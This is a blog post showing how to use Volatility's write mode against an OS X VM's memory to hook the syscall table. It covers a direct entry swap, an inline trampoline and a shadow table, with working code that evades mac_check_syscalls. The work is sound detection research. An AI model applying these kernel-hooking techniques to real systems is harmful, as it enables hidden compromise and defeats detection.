Tuesday, July 2, 2013

Offensive Volatility: Messing with the OS X Syscall Table

Summary

After taking a brief detour into reviewing JAVA source code I'm back to OS X and Volatility. In this post I'll be using the Volatility Framework to alter the OS X syscall table from an offensive perspective rather than using it for detection. To accomplish this, I'll be mimicking techniques used by malware, such as direct syscall table modification, syscall function inlining, patching the syscall handler, and hiding the payload in a binary's segment.


What's a Syscall Table?

Generally speaking, the syscall table is an array of function pointers. In UNIX, a system call is part of a defined list of functions that permit a userland process to interact with the kernel. A user process uses a system call to request the kernel to perform operations on its behalf. In XNU, the syscall table is known as "sysent", and is no longer a public symbol, to prevent actions like syscall hooking. The list of entries is defined in the syscall.masters file. Below is the structure of a sysent entry as represented by Volatility:

'sysent' (40 bytes)
0x0   : sy_narg                        ['short']
0x2   : sy_resv                        ['signed char']
0x3   : sy_flags                       ['signed char']
0x8   : sy_call                        ['pointer', ['void']]
0x10  : sy_arg_munge32                 ['pointer', ['void']]
0x18  : sy_arg_munge64                 ['pointer', ['void']]
0x20  : sy_return_type                 ['int']
0x24  : sy_arg_bytes                   ['unsigned short']

The sy_call member of the sysent struct contains the pointer to the syscall function.

Preparation

I'll be using a VMWare instance of OS X 10.8.3 as a target and Volatility's mac_volshell command  with write access to alter the kernel. After firing up the the VM, I issued the following command to drop to the volshell command line (by the way I had to agree to enable write support...).

$ python vol.py mac_volshell -f ~/Documents/Virtual\ Machines/Mac\ OS\ X\ 10.8\ 64-bit.vmwarevm/Mac\ OS\ X\ 10.8\ 64-bit-af14d5f6.vmem --profile=MacMountainLion_10_8_3_AMDx64 -w
Volatile Systems Volatility Framework 2.3_beta
Write support requested. Please type "Yes, I want to enable write support" below precisely (case-sensitive):
Yes, I want to enable write support

Syscall Interception by Directly Modifying the Syscall Table

A quick and easy example of modifying the syscall table is switching the setuid call with the exit call as explained in this Phrack article. The code below retrieves the sysent entry addresses for the exit and setuid calls so we know what to modify. Then the sysent objects get instantiated to access their sy_call members, which contain the pointer to the syscall function. Finally, the code overwrites the setuid sysent's syscall function address with the exit sysent's syscall function address.

>>> #get sysent addresses for exit and setuid
>>> nsysent = obj.Object("int", offset = self.addrspace.profile.get_symbol("_nsysent"), vm = self.addrspace)
>>> sysents = obj.Object(theType = "Array", offset = self.addrspace.profile.get_symbol("_sysent"), vm = self.addrspace, count = nsysent, targetType = "sysent")
>>> for (i, sysent) in enumerate(sysents):
...     if str(self.addrspace.profile.get_symbol_by_address("kernel",sysent.sy_call.v())) == "_setuid":
...         "setuid sysent at {0:#10x}".format(sysent.obj_offset)
...         "setuid syscall {0:#10x}".format(sysent.sy_call.v())
...     if str(self.addrspace.profile.get_symbol_by_address("kernel",sysent.sy_call.v())) == "_exit":
...         "exit sysent at {0:#10x}".format(sysent.obj_offset)
...         "exit syscall {0:#10x}".format(sysent.sy_call.v())
... 
'exit sysent at 0xffffff8006455868'
'exit syscall 0xffffff8006155430'
'setuid sysent at 0xffffff8006455bd8'
'setuid syscall 0xffffff8006160910'
>>> #create sysent objects
>>> s_exit = obj.Object('sysent',offset=0xffffff8006455868,vm=self.addrspace)
>>> s_setuid = obj.Object('sysent',offset=0xffffff8006455bd8,vm=self.addrspace)
>>> #write exit function address to setuid function address
>>> self.addrspace.write(s_setuid.sy_call.obj_offset, struct.pack("<Q", s_exit.sy_call.v()))
True

After the switch if any program calls setuid, it will be redirected to the exit syscall, and end without issues. This won't be detected by Volatility's mac_check_syscalls plugin as 'hooked' as of r3444. Volatility, on the other hand, will detect syscall table modifications that point to functions that are not listed within the symbols table.

mac_check_syscalls output before and after modification

Syscall Function Interception or Inlining

For this case I'll be modifying setuid syscall function prologue to add a trampoline into the exit syscall function. The following will be used to modify the function:

"\x48\xB8\x00\x00\x00\x00\x00\x00\x00\x00" // mov rax, address
"\xFF\xE0";                                // jmp rax

The address place holder will be replaced with the exit syscall address as seen below:

>>> buf = "\x48\xB8\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xE0".encode("hex").replace("0000000000000000",struct.pack("<Q",self.addrspace.profile.get_symbol("_exit")).encode('hex'))
>>> buf
'48b83054550780ffffffffe0'
>>> import binascii
>>> self.addrspace.write(self.addrspace.profile.get_symbol("_setuid"),binascii.unhexlify(buf))
True

The function disassembly shows that the modification was successful:

setuid function prologue before and after modification

I also took screenshots of a 'sudo -i' attempt before and after the function modification. Before the modification the system prompts for a password, but after the modification there is no such prompt since the call to setuid becomes a call to exit.

sudo -i execution attempts before and after setuid modification

This type of function interception is also not detected by Volatility's mac_check_syscalls plugin.

Patched Syscall Handler or Shadow Syscall Table

The shadowing of the syscall table is a technique that hides the attacker's modifications to the syscall table by creating a copy of it to modify and by keeping the original untouched. The attacker would need to alter all kernel references to the syscall table to point to the shadow syscall table for the attack to fully succeed. After the references are modified, the attacker can perform the syscall function interceptions described above without worrying much about detection.

To perform the described attack in Volatility, I had to do the following:
  1. Find a suitable kernel extension (kext) that has enough free space to copy the syscall table into
  2. Add a new segment to the binary and modify the segment count in the header (mach-o format)
  3. Copy the syscall table into the segment's data
  4. Modify kernel references to the syscall table to point to the shadow syscall table
  5. Modify the shadow syscall table using the first technique described
Finding a suitable kext was pretty much a trial and error for me. In my case "com.vmware.kext.vmhgfs" appeared to be a stable target.

To find the kernel references to the syscall table (sysent) I first looked into the XNU source code to find the functions that have references to it. The function unix_syscall64 appeared to be a good candidate since it had several references:

...
 callp = (code >= NUM_SYSENT) ? &sysent[63] : &sysent[code];
 uargp = (void *)(&regs->rdi)

 if (__improbable(callp == sysent)) {
         /*
   * indirect system call... system call number
   * passed as 'arg0'
   */
         code = regs->rdi;
  callp = (code >= NUM_SYSENT) ? &sysent[63] : &sysent[code];
  uargp = (void *)(&regs->rsi);
  args_in_regs = 5;
 }
...

Then I disassembled the unix_syscall64 function in volshell to find the corresponding instructions so I could get the pointer to the syscall table. Since I knew the syscall table address, it was easy to find the references to it.

unix_syscall64 references to the syscall table
To get the reference to the syscall table I ran the following code in volshell:

>>> tgt_addr = self.addrspace.profile.get_symbol("_unix_syscall64")
>>> buf = self.addrspace.read(tgt_addr, 200)
>>> for op in distorm3.Decompose(tgt_addr, buf, distorm3.Decode64Bits):
...     #targeting the instruction: CMP R13, [RIP+0x21fc16]
...     if op.mnemonic == "CMP" and 'FLAG_RIP_RELATIVE' in op.flags and op.operands[0].name == "R13":
...         print "Syscall Table Reference is at {0:#10x}".format(op.address + op.operands[1].disp + op.size)
...         break
... 
Syscall Table Reference is at 0xffffff802ec000d0

It appears that unix_syscall_return, unix_syscall64, unix_syscall, and some dtrace functions have references to the syscall table as well so all we have to do is replace what the reference is pointing to with the shadow syscall table's address.

To create the shadow syscall table I ran the following code in volshell, which performs the steps mentioned above:

#get address for the kernel extension (kext) list
p = self.addrspace.profile.get_symbol("_kmod")
kmodaddr = obj.Object("Pointer", offset = p, vm = self.addrspace)
kmod = kmodaddr.dereference_as("kmod_info")
#loop thru list to find suitable target to place the shadow syscall table in
while kmod.is_valid():
    str(kmod.name)
    if str(kmod.name) == "com.vmware.kext.vmhgfs":
        mh = obj.Object('mach_header_64', offset = kmod.address,vm = self.addrspace)
        o = mh.obj_offset
        #skip header data
        o += 32
        seg_data_end = 0
        #loop thru segments to find the end to use as the start of the injected segment
        for i in xrange(0, mh.ncmds):
            seg = obj.Object('segment_command_64', offset = o, vm = self.addrspace)
            o += seg.cmdsize
            print "index {0} segname {1} cmd {2:x} offset {3:x} header cnt addr {4}".format(i,seg.segname, seg.cmd, o, mh.ncmds.obj_offset)
        #increment header segment count
        self.addrspace.write(mh.ncmds.obj_offset, chr(mh.ncmds + 1))
        #create new segment starting at last segment's end
        print "Creating new segment at {0:#10x}".format(o)
        seg = obj.Object('segment_command_64', offset = o, vm = self.addrspace)
        #create a segment with the type LC_SEGMENT_64, 0x19
        seg.cmd = 0x19
        seg.cmdsize = 0
        #naming the segment __SHSYSCALL
        status = self.addrspace.write(seg.segname.obj_offset, '\x5f\x5f\x53\x48\x53\x59\x53\x43\x41\x4c\x4c')
        #data/shadow syscall table will start after the command struct
        seg.vmaddr =  o + self.addrspace.profile.get_obj_size('segment_command_64')
        seg.filesize = seg.vmsize
        seg.fileoff = 0
        seg.nsects = 0
        #copy syscall table entries to new location
        nsysent = obj.Object("int", offset = self.addrspace.profile.get_symbol("_nsysent"), vm = self.addrspace)
        seg.vmsize = self.addrspace.profile.get_obj_size('sysent') * nsysent
        sysents = obj.Object(theType = "Array", offset = self.addrspace.profile.get_symbol("_sysent"), vm = self.addrspace, count = nsysent, targetType = "sysent")
        for (i, sysent) in enumerate(sysents):
            status = self.addrspace.write(seg.vmaddr + (i*40), self.addrspace.read(sysent.obj_offset, 40))
        print "The shadow syscall table is at {0:#10x}".format(seg.vmaddr)
        break
    kmod = kmod.next

While the volshell code might not be the cleanest, it worked for this proof of concept.

output from the syscall table copy code
Now that the syscall table reference and shadow syscall table are available, the reference can be modified.

>>> #write shadow table address (0xffffff7fafdf5350) to reference (0xffffff802ec000d0)
>>> self.addrspace.write(0xffffff802ec000d0, struct.pack('Q', 0xffffff7fafdf5350))
True
>>> "{0:#10x}".format(obj.Object('Pointer', offset =0xffffff802ec000d0, vm = self.addrspace))
'0xffffff7fafdf5350'

The second command confirms that the syscall table reference no longer points to the original one besides the VM still being up and running.

The last step of this method is to modify the shadow syscall table using the first method described (direct syscall table modification).

>>> #get sysent addresses for exit and setuid
>>> nsysent = obj.Object("int", offset = self.addrspace.profile.get_symbol("_nsysent"), vm = self.addrspace)
>>> sysents = obj.Object(theType = "Array", offset = 0xffffff7fafdf5350, vm = self.addrspace, count = nsysent, targetType = "sysent")
>>> for (i, sysent) in enumerate(sysents):
...     if str(self.addrspace.profile.get_symbol_by_address("kernel",sysent.sy_call.v())) == "_setuid":
...         "setuid sysent at {0:#10x}".format(sysent.obj_offset)
...         "setuid syscall {0:#10x}".format(sysent.sy_call.v())
...     if str(self.addrspace.profile.get_symbol_by_address("kernel",sysent.sy_call.v())) == "_exit":
...         "exit sysent at {0:#10x}".format(sysent.obj_offset)
...         "exit syscall {0:#10x}".format(sysent.sy_call.v())
... 
'exit sysent at 0xffffff7fafdf5378'
'exit syscall 0xffffff802e955430'
'setuid sysent at 0xffffff7fafdf56e8'
'setuid syscall 0xffffff802e960910'
>>> #create sysent objects
>>> s_exit = obj.Object('sysent',offset= 0xffffff7fafdf5378,vm=self.addrspace)
>>> s_setuid = obj.Object('sysent',offset= 0xffffff7fafdf56e8,vm=self.addrspace)
>>> #write exit function address to setuid function address
>>> self.addrspace.write(s_setuid.sy_call.obj_offset, struct.pack("<Q", s_exit.sy_call.v()))
True

As seen in the screenshot below, after the modification, sudo -i exits without prompting for a password at the target VM, but Volatility's check_syscalls plugin still shows the syscall table as unmodified.

sudo -i doesn't prompt for password

check_syscall plugin showing unmodified syscall table

Note: It looks like the writes to the vmem file can take a bit to take effect.

Conclusion

I have gone through three examples that show how to mess with the OS X syscall table using the Volatility Framework. This exercise has shown that Volatility can be used to develop proof of concept attacks besides detecting them. Although currently the presented attacks are undetected by Volatility, this will change shortly with my next blog post, which will reveal a new plugin. Stay tuned! 


No comments:

Post a Comment